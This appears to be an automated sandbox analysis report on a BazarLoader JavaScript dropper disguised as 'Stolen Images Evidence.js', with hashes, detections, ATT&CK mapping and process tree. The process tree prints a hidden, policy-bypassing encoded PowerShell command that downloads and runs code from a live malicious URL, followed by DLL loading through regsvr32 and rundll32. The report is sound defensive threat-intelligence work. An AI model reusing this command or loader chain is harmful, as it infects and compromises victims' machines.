bazarloader | a3d502012d1cded2d5a936372a08073db9b85dd2323908f9d55d802c24e8aa20

General

Target

Stolen Images Evidence.js
Size

19KB
MD5

c62b322046bee6a5a86c4fecf5dee72e
SHA1

18a381be8472fcee623c18cb1bfcf938682bef7d
SHA256

edb86c44b69eb1071a138ec2fd99968a18d671ecbcc6cbd7babcde7a132c1e01
SHA512

2d19000408a61cbf744defb51fc8f0c64f11c74186cdc2f56317641e16fd7c794919ead08ce119c62ec966dcd5a2c62794845e53f4697e657394c9e90ac1f0dc

Score

10^/10

bazarloader dropper loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://bobersok.top/333g100/index.php

Signatures

Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
loader dropper bazarloader

Bazar/Team9 Loader payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1680-67-0x0000000000140000-0x0000000000168000-memory.dmp	BazarLoaderVar6
behavioral1/memory/1904-69-0x0000000000230000-0x0000000000258000-memory.dmp	BazarLoaderVar6

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 576 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

regsvr32.exerundll32.exe

pid process

1680 regsvr32.exe
1904 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

576 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 576 powershell.exe

flow	pid	process
5	576	powershell.exe

pid	process
1680	regsvr32.exe
1904	rundll32.exe

pid	process
576	powershell.exe

description	pid	process
Token: SeDebugPrivilege	576	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

wscript.execmd.exepowershell.exe

description	pid	process	target process
PID 1116 wrote to memory of 1372	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1372	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1372	1116	wscript.exe	cmd.exe
PID 1372 wrote to memory of 576	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 576	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 576	1372	cmd.exe	powershell.exe
PID 576 wrote to memory of 1680	576	powershell.exe	regsvr32.exe
PID 576 wrote to memory of 1680	576	powershell.exe	regsvr32.exe
PID 576 wrote to memory of 1680	576	powershell.exe	regsvr32.exe
PID 576 wrote to memory of 1680	576	powershell.exe	regsvr32.exe
PID 576 wrote to memory of 1680	576	powershell.exe	regsvr32.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c POwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
2⤵
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\System32\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\FHbKnfj.dat
4⤵
- Loads dropped DLL
PID:1680

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\FHbKnfj.dat,DllRegisterServer {749609AF-8C93-44BA-A2BA-C66B158CBE86}
1⤵
- Loads dropped DLL
PID:1904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\FHbKnfj.dat
MD5
58d1d95824f5687dd9dc113def8ef0db

SHA1
4ccac5744e86ee05b09f40bfd1f9971e082eb5ae

SHA256
8a5e76f924b8dca3d5e34b86289a9195f705ec7072cd527071951a512c85e825

SHA512
50713dd2c2ca693836b582ac12e396c3f5bd552b41b7dca6bd128cac4c1fbe281f2b3f58256daca80c7784c9307d0954496415b1e1a74b79601250e374428951

Download Submit
\Users\Admin\AppData\Local\Temp\FHbKnfj.dat
MD5
58d1d95824f5687dd9dc113def8ef0db

SHA1
4ccac5744e86ee05b09f40bfd1f9971e082eb5ae

SHA256
8a5e76f924b8dca3d5e34b86289a9195f705ec7072cd527071951a512c85e825

SHA512
50713dd2c2ca693836b582ac12e396c3f5bd552b41b7dca6bd128cac4c1fbe281f2b3f58256daca80c7784c9307d0954496415b1e1a74b79601250e374428951

Download Submit
\Users\Admin\AppData\Local\Temp\FHbKnfj.dat
MD5
58d1d95824f5687dd9dc113def8ef0db

SHA1
4ccac5744e86ee05b09f40bfd1f9971e082eb5ae

SHA256
8a5e76f924b8dca3d5e34b86289a9195f705ec7072cd527071951a512c85e825

SHA512
50713dd2c2ca693836b582ac12e396c3f5bd552b41b7dca6bd128cac4c1fbe281f2b3f58256daca80c7784c9307d0954496415b1e1a74b79601250e374428951

Download Submit
memory/576-58-0x000007FEF2970000-0x000007FEF34CD000-memory.dmp

Filesize
11.4MB

Download
memory/576-60-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

Download
memory/576-59-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/576-61-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/576-62-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/576-56-0x0000000000000000-mapping.dmp

Download
memory/1116-54-0x000007FEFBFC1000-0x000007FEFBFC3000-memory.dmp

Filesize
8KB

Download
memory/1372-55-0x0000000000000000-mapping.dmp

Download
memory/1680-63-0x0000000000000000-mapping.dmp

Download
memory/1680-67-0x0000000000140000-0x0000000000168000-memory.dmp

Filesize
160KB

Download
memory/1904-69-0x0000000000230000-0x0000000000258000-memory.dmp

Filesize
160KB

Download

Analysis

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